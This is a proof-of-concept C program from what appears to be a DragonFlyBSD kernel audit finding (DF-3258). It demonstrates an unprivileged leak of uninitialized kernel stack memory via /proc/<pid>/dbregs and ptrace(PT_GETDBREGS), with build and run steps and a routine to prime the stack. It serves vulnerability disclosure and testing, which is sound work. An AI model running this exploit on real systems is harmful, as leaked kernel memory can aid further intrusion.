⬢ DragonFlyBSD Kernel Audit
DF-3258 / dbregs_leak.c
← back to finding ↓ download raw
/*
 * DF-3258 PoC — uninitialized kernel stack disclosure via /proc/<pid>/dbregs
 * and ptrace(PT_GETDBREGS).
 *
 * fill_dbregs() (sys/platform/pc64/x86_64/machdep.c:3104-3129) initializes
 * only dr[0..7] of struct dbreg { unsigned long dr[16]; }.
 * procfs_dodbregs() (sys/vfs/procfs/procfs_dbregs.c:57-67) declares
 * `struct dbreg r;` uninitialized on the kernel stack and copies all
 * sizeof(r) == 128 bytes out with uiomove_frombuf().  dr[8..15] (bytes
 * 64..127) are stale kernel-stack memory from prior syscalls on this thread.
 *
 * ptrace(PT_GETDBREGS) (sys/kern/sys_process.c:541-555) uses the same code
 * path and leaks identically.
 *
 * Build:  cc -O -o dbregs_leak dbregs_leak.c
 * Run:    ./dbregs_leak          (unprivileged)
 * Expect: dr[8..15] contain non-zero, varying kernel stack residue.
 */
#include <sys/param.h>
#include <sys/ptrace.h>
#include <machine/reg.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/sysctl.h>

static void
hexdump_tail(const char *tag, unsigned long *dr)
{
	int i, nz = 0;

	printf("%s dr[0..7] :", tag);
	for (i = 0; i < 8; i++)
		printf(" %016lx", dr[i]);
	printf("\n%s dr[8..15]:", tag);
	for (i = 8; i < 16; i++)
		printf(" %016lx", dr[i]);
	for (i = 64; i < 128; i++)
		if (((unsigned char *)dr)[i])
			nz++;
	printf("    -> non-zero bytes in dr[8..15]: %d/64\n", nz);
}

/*
 * Dirty the kernel stack of this thread with deeper syscall paths so the
 * stale region is more likely to hold recognizable residue.
 */
static void
prime_kstack(void)
{
	char buf[2048];
	int fd;
	size_t len = sizeof(buf);

	/* deep VFS path */
	fd = open("/proc/self/status", O_RDONLY);
	if (fd >= 0) { read(fd, buf, sizeof(buf)); close(fd); }
	/* sysctl copyout path (KERN_PROC all) */
	sysctlbyname("kern.proc.all", buf, &len, NULL, 0);
	sysctlbyname("kern.boottime", buf, &len, NULL, 0);
	/* namei path */
	access("/proc/self/rlimit", F_OK);
	readlink("/proc/self/file", buf, sizeof(buf));
}

int
main(int argc, char **argv)
{
	unsigned long dr[16];
	unsigned char buf[256];
	ssize_t n;
	int fd, i, mode;

	mode = (argc > 1) ? atoi(argv[1]) : 0;

	if (mode == 0 || mode == 1) {
		/* --- path 1: /proc/self/dbregs read --- */
		prime_kstack();
		fd = open("/proc/self/dbregs", O_RDONLY);
		if (fd < 0)
			err(1, "open /proc/self/dbregs");
		n = read(fd, buf, sizeof(buf));
		close(fd);
		printf("/proc/self/dbregs: read %zd bytes (sizeof(struct dbreg)=%zu)\n",
		    n, sizeof(struct dbreg));
		if (n >= (ssize_t)sizeof(struct dbreg)) {
			memcpy(dr, buf, sizeof(dr));
			hexdump_tail("[procfs]", dr);
		}
	}

	if (mode == 0 || mode == 2) {
		/* --- path 2: ptrace PT_GETDBREGS on a stopped child --- */
		pid_t pid = fork();
		if (pid == 0) {
			raise(SIGSTOP);		/* child stops, parent traces */
			kill(getpid(), SIGKILL); /* if resumed detached */
			_exit(0);
		}
		int status;
		waitpid(pid, &status, WUNTRACED);
		if (ptrace(PT_ATTACH, pid, NULL, 0) != 0)
			err(1, "PT_ATTACH");
		waitpid(pid, &status, 0);
		memset(dr, 0, sizeof(dr));
		if (ptrace(PT_GETDBREGS, pid, (caddr_t)dr, 0) != 0)
			warn("PT_GETDBREGS");
		else
			hexdump_tail("[ptrace]", dr);
		ptrace(PT_KILL, pid, NULL, 0);
		waitpid(pid, &status, 0);
	}
	return (0);
}